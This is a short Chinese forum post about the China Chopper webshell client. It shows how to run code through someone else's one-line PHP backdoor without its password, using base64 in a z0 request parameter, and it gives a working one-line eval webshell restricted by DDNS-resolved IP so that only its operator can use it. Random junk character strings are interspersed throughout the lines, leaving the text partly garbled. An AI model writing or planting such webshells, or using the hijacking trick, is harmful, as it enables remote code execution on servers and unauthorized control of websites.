今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
7 V; G) v) j+ `& o$ r' {
3 p( ]( w2 S1 v9 ^3 Y就算你设置了密码,使用了eval($_REQUEST['moyo']);0 E- {' t9 h) N0 U8 M3 i5 S4 O5 `
! i( n7 d9 D/ X1 k但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门
& {! ?0 L5 Y. y4 F% u. z' q; w! f# p, }/ E
因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
4 J9 @% K" v }; |( V( y
5 N% R9 E; K4 L9 a. z直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了0 l1 W% {1 i6 [& Y
- j! k. h) f7 r不知道是设计缺陷还是故意留的后门0 B; p0 }. M7 z7 D& l: d
7 H* Z/ M% [, ]如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
- D* u9 O5 t8 Y7 _
, E6 `* g" r# @. @( ]4 V本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org
- `1 |4 K" N$ t% {4 t- X9 M( j: j }: F, O% e
然后一句话后门这样写
, I' } Q! y$ k9 i" _/ e4 D4 z5 J: O' k6 z4 C) S
<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
g3 |: q- e/ H这样就可以让一句话后门只允许自己的电脑连接了1 p' ~( f8 u/ @& f5 C# h3 x
% w6 I; I9 _/ I# }5 w9 X" i% a i |